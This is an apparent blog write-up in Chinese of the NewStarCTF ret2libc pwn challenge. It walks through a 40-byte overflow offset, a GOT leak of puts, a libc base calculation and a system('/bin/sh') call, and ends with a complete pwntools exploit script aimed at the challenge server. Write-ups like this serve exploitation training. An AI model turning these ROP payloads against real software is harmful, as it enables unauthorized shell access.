NewStarCTF公开赛赛道-ret2libc Writeup
怎莫没有后门函数惹qwq,不响丸辣!!!
没看到任何的后门函数,完结撒花(bushi
pwndbg中计算出来的偏移是40
可能还需要平衡堆栈,我们把 ret 的地址也记录一下(其实我也不知道堆栈平衡是什么东西,看大佬们都讲我也跟一个
然后构造第一个payload:
payload1 = b'a'*40 + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
关于 payload 的详细解释:
首先,溢出后返回到我们的 gadget: pop rdi
;ret
此时 rip
指向 pop rdi
,rsp
指向 puts
函数的真实地址,puts
函数调用结束,返回到 main
函数。因为我们还需要再次执行 fgets
函数溢出,进而去执行 system
函数;
然后构造第二个payload:
payload2 = b'a'*40 + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)
同样先溢出,将 system
函数的参数 /bin/sh
弹入 rdi
寄存器,平栈后,调用 system
函数,即可 getshell
Exp如下:
from pwn import *
from LibcSearcher import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('node5.buuoj.cn',29797)
elf = ELF('./pwn')
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
main_addr = 0x0400698
pop_rdi = 0x400753
ret_addr = 0x40050e
payload1 = b'a'*40 + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
io.sendlineafter('Glad to meet you again!What u bring to me this time?',payload1)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc = ELF('./libc-2.31.so')
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))
payload2 = b'a'*40 + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)
io.sendline(payload2)
io.interactive()
太好了是flag我们有救了.png
NewStarCTF公开赛赛道-ret2libc Writeup
https://zer0ptr.github.io/2025/10/04/NewStarCTF-public-ret2libc/